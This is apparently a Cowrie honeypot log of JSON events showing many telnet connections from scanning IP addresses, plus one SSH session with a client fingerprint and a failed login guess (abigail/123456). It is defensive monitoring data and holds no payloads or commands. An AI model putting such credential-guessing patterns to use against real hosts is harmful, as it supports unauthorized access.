{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":41522,"dst_ip":"10.17.0.5","dst_port":23,"session":"402b912a1e32","protocol":"telnet","message":"New connection: 146.71.83.154:41522 (10.17.0.5:23) [session: 402b912a1e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:26.921127Z"}
{"eventid":"cowrie.session.closed","duration":30.805312633514404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:27.042530Z","src_ip":"161.35.204.143","session":"53fe6ff52e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.373416423797607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:27.111457Z","src_ip":"159.65.156.231","session":"17aa6084d9c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806456565856934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:28.031619Z","src_ip":"173.244.210.29","session":"655c704689d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1038715839386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:28.199385Z","src_ip":"159.65.156.231","session":"c04d30ead50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":38964,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b0766638f9d","protocol":"telnet","message":"New connection: 158.69.128.56:38964 (10.17.0.5:23) [session: 9b0766638f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:28.626045Z"}
{"eventid":"cowrie.session.closed","duration":30.975839853286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:29.114219Z","src_ip":"69.175.86.26","session":"c043eb144a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8696768283844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:29.586608Z","src_ip":"139.59.20.17","session":"f3a38b3dfc88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750674724578857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:30.038973Z","src_ip":"158.69.128.56","session":"a62b3f839f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746177911758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:30.044582Z","src_ip":"173.244.210.29","session":"eb263b3de597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90695571899414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:30.076728Z","src_ip":"69.175.86.26","session":"614304017357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.108.209","src_port":59877,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0868474c69a","protocol":"telnet","message":"New connection: 104.152.108.209:59877 (10.17.0.5:23) [session: f0868474c69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:30.292233Z"}
{"eventid":"cowrie.session.closed","duration":30.798248052597046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:31.077530Z","src_ip":"46.21.104.13","session":"50156505bdd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955697298049927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:31.139004Z","src_ip":"146.71.83.154","session":"f709fc112ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":32988,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c9e7466a405","protocol":"telnet","message":"New connection: 66.223.49.88:32988 (10.17.0.5:23) [session: 8c9e7466a405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:31.307667Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":36904,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd8eedfb849","protocol":"telnet","message":"New connection: 216.55.143.160:36904 (10.17.0.5:23) [session: dfd8eedfb849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:31.590609Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":55062,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd7ce9331f97","protocol":"telnet","message":"New connection: 116.202.39.209:55062 (10.17.0.5:23) [session: cd7ce9331f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:31.718760Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c2ee03b99f0","protocol":"telnet","message":"New connection: 116.202.39.209:55064 (10.17.0.5:23) [session: 9c2ee03b99f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:31.741560Z"}
{"eventid":"cowrie.session.closed","duration":30.071142196655273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:32.022441Z","src_ip":"158.69.128.56","session":"b960f1682893","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635964393615723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:32.063733Z","src_ip":"51.222.46.37","session":"c8cd36e27b35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080536127090454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:32.279016Z","src_ip":"152.4.101.60","session":"e304f9710d55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.033812522888184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:32.364743Z","src_ip":"74.115.209.253","session":"8e90451ab1da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217477083206177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:32.455700Z","src_ip":"216.55.143.160","session":"f650e801f832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7972993850708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:33.040049Z","src_ip":"64.150.184.17","session":"c361165c73ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853266954421997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:33.045091Z","src_ip":"74.115.209.253","session":"9d35a93eb17a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":55072,"dst_ip":"10.17.0.5","dst_port":23,"session":"aabdcd8bbdc8","protocol":"telnet","message":"New connection: 116.202.39.209:55072 (10.17.0.5:23) [session: aabdcd8bbdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:33.745023Z"}
{"eventid":"cowrie.session.closed","duration":30.30418634414673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:34.000950Z","src_ip":"76.8.60.68","session":"0a4b11d94fb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956171989440918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:34.043454Z","src_ip":"69.175.86.26","session":"3b77bc76eafa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059584617614746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:34.099684Z","src_ip":"15.204.172.25","session":"7d1ff0194ec2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83879327774048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:34.107592Z","src_ip":"185.29.9.236","session":"23e8b504d1c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53929305076599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:34.115981Z","src_ip":"66.223.49.88","session":"bf82c7e14604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814147233963013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:34.147308Z","src_ip":"216.55.143.160","session":"bdbf2b9be5d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942299842834473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:35.017902Z","src_ip":"51.222.46.37","session":"4ca12a2e1158","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738471508026123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:35.023174Z","src_ip":"51.222.46.37","session":"670b9e0f661c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.454092741012573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:35.156719Z","src_ip":"159.65.156.231","session":"05168510983f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80774426460266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:35.531791Z","src_ip":"116.202.39.209","session":"68488456764e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865668296813965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:36.053321Z","src_ip":"134.195.101.206","session":"09ca56a3c192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79820990562439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:36.542219Z","src_ip":"116.202.39.209","session":"e4a075e365e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806119918823242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:37.124019Z","src_ip":"185.29.9.236","session":"67944bde9c9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554243803024292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:37.137503Z","src_ip":"66.223.49.88","session":"ee85016d52e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.641188621520996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:37.193672Z","src_ip":"159.65.156.231","session":"c1698c93d418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96656632423401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:38.047956Z","src_ip":"51.222.46.37","session":"0cd43bf7137a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83211660385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:38.467538Z","src_ip":"23.81.118.97","session":"d38309018dc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":55078,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8dfe1e375c8","protocol":"telnet","message":"New connection: 116.202.39.209:55078 (10.17.0.5:23) [session: b8dfe1e375c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:38.752564Z"}
{"eventid":"cowrie.session.closed","duration":32.14832305908203,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:38.828648Z","src_ip":"144.79.133.145","session":"245544e45f35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683313846588135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:39.040476Z","src_ip":"146.71.83.154","session":"4d9ac70e69b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.719850540161133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:39.045164Z","src_ip":"161.35.204.143","session":"82f51f094755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94329857826233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:39.057990Z","src_ip":"199.250.223.224","session":"270629a55f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206443548202515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:39.306078Z","src_ip":"152.4.101.60","session":"9b98c219e9dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96320390701294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:40.006176Z","src_ip":"15.204.172.25","session":"749b06d6bba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87014627456665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:40.613862Z","src_ip":"159.65.156.231","session":"5722ca3f83ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":55678,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b158faf47ac","protocol":"telnet","message":"New connection: 144.79.133.145:55678 (10.17.0.5:23) [session: 7b158faf47ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:40.943794Z"}
{"eventid":"cowrie.session.closed","duration":30.285223722457886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:41.044210Z","src_ip":"158.69.128.56","session":"d938b3da7530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916502714157104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:41.077504Z","src_ip":"64.150.184.17","session":"43eeb6f6b92b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73480463027954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:41.190323Z","src_ip":"46.21.104.13","session":"2e22daa67066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":55668,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3e416d309a","protocol":"telnet","message":"New connection: 144.79.133.145:55668 (10.17.0.5:23) [session: bb3e416d309a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:41.959731Z"}
{"eventid":"cowrie.session.closed","duration":31.009074449539185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:42.046601Z","src_ip":"51.222.46.37","session":"1f24d93821f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":44884,"dst_ip":"10.17.0.5","dst_port":23,"session":"c253d2bb72c2","protocol":"telnet","message":"New connection: 15.204.172.25:44884 (10.17.0.5:23) [session: c253d2bb72c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:42.051827Z"}
{"eventid":"cowrie.session.closed","duration":30.73490285873413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:42.094858Z","src_ip":"161.35.204.143","session":"0b48319a929f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039069175720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:42.841562Z","src_ip":"152.4.101.60","session":"05a665ef43cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":44034,"dst_ip":"10.17.0.5","dst_port":23,"session":"575df4ca3978","protocol":"telnet","message":"New connection: 51.222.46.37:44034 (10.17.0.5:23) [session: 575df4ca3978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:43.129866Z"}
{"eventid":"cowrie.session.closed","duration":30.513602018356323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:43.288065Z","src_ip":"144.79.133.145","session":"1717d618aa10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.116.235.126","src_port":36112,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b877d61722f","protocol":"telnet","message":"New connection: 66.116.235.126:36112 (10.17.0.5:23) [session: 1b877d61722f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:43.688893Z"}
{"eventid":"cowrie.session.closed","duration":43.72094440460205,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:43.693566Z","src_ip":"144.79.133.145","session":"a6e6014de459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":56650,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ba58f8f2b34","protocol":"telnet","message":"New connection: 74.115.209.253:56650 (10.17.0.5:23) [session: 4ba58f8f2b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:43.969946Z"}
{"eventid":"cowrie.session.closed","duration":30.909053087234497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:45.032607Z","src_ip":"66.223.49.88","session":"f197708f0110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882458925247192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:45.596371Z","src_ip":"116.202.39.209","session":"7b2fe16abd5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949389219284058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.031458Z","src_ip":"144.126.156.251","session":"36230b1b13b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77229356765747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.038719Z","src_ip":"74.115.209.253","session":"dc0d1482c52f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857768297195435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.116197Z","src_ip":"134.195.101.206","session":"bae19f17fbea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07227611541748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.212953Z","src_ip":"66.223.49.88","session":"e4f99d313ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748910903930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.531742Z","src_ip":"116.202.39.209","session":"8f4947ef8718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":55692,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5fa122882eb","protocol":"telnet","message":"New connection: 144.79.133.145:55692 (10.17.0.5:23) [session: e5fa122882eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.690571Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40582,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bddc76f3594","protocol":"ssh","message":"New connection: 159.203.92.129:40582 (159.203.135.109:22) [session: 8bddc76f3594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.914629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.922554Z","src_ip":"159.203.92.129","session":"8bddc76f3594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.935313Z","src_ip":"159.203.92.129","session":"8bddc76f3594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abigail","password":"123456","message":"login attempt [abigail/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:46.950361Z","src_ip":"159.203.92.129","session":"8bddc76f3594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:47.960990Z","src_ip":"159.203.92.129","session":"8bddc76f3594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96152353286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:48.159156Z","src_ip":"216.55.143.160","session":"f5ae0de43f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83443570137024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:48.553553Z","src_ip":"116.202.39.209","session":"2a4d43582b3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":46028,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d9e095281c","protocol":"telnet","message":"New connection: 15.204.172.25:46028 (10.17.0.5:23) [session: 28d9e095281c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:48.828609Z"}
